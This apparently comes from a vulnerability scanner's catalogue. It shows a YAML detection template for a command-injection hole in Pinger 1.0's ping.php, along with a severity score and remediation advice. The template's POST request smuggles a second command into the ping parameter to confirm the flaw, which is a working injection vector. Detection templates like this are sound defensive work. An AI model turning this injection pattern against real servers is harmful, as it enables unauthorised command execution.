Pinger 1.0 - Remote Code Execution
CVE-2020-37123
Verified
Description
Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.
Severity
Critical
CVSS Score
9.8
Exploit Probability
16%
Affected Product
pinger
Published Date
February 7, 2026
Template Author
bswearingen
CVE-2020-37123.yaml
id: CVE-2020-37123
info:
name: Pinger 1.0 - Remote Code Execution
author: bswearingen
severity: critical
description: |
Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.
impact: |
An unauthenticated attacker can execute arbitrary system commands on the server.
remediation: |
Remove Pinger or apply input validation to sanitize the ping and socket parameters.
reference:
- https://www.exploit-db.com/exploits/48323
- https://nvd.nist.gov/vuln/detail/CVE-2020-37123
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-37123
epss-score: 0.15719
epss-percentile: 0.94803
cwe-id: CWE-78
metadata:
verified: true
vendor: pinger
product: pinger
tags: cve,cve2020,pinger,rce,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: body
words:
- "ping.php"
internal: true
- raw:
- |
POST /ping.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ping=127.0.0.1;echo+{{md5('CVE-2020-37123')}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{md5('CVE-2020-37123')}}"
- type: status
status:
- 200
# digest: 4b0a004830460221008647a0750bd602055e461ef6752159334ba5bec26f6192799e376feb135ef3c40221008cae5074c6709e33baec6512ae1c23d5ad9641773101d50a7e22f2717d4cbdfc:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2020-37123
CWE ID:
cwe-78
Remediation Steps
Remove Pinger or apply input validation to sanitize the ping and socket parameters.